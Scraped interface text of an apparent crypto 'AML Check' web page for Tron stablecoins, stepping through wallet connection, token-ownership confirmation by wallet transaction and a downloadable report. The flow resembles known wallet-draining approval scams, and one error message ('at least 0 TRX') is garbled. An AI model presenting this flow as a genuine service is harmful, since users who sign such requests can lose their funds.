AML Check

Select token

Step 1 of 4

To continue, please select the token

USDT

USDJ

TUSD

USDD

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

USDT in Tron

The selected asset

Tronlink

Trust Wallet

WalletConnect

Something went wrong, please try submitting the request again or refresh the page and reconnect your wallet

Confirmation

Step 3 of 4

Confirm ownership of your tokens using wallet

USDT in Tron

The selected asset

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Check in process

Step 4 of 4

We scrutinize your wallet thoroughly

Check failed

Step 4 of 4

We scrutinize your wallet thoroughly

You don’t have at least 0 TRX in your balance for a full scan. Refill your wallet and try again

Check failed

Step 4 of 4

We scrutinize your wallet thoroughly

Transaction failed or user declined request. Token ownership confirmation was not completed. Please confirm your token ownership and try again.

Your wallet has successfully passed the Anti-Money Laundering (AML) check.

To view the detailed results of the check, simply click the button below to download the report in PDF format.

Download check result

Safelement Limited,

Office 1111, Suite 1102, Lee Garden One, 33 Hysan Avenue, Causeway Bay, Hong Kong

4.5 out of 5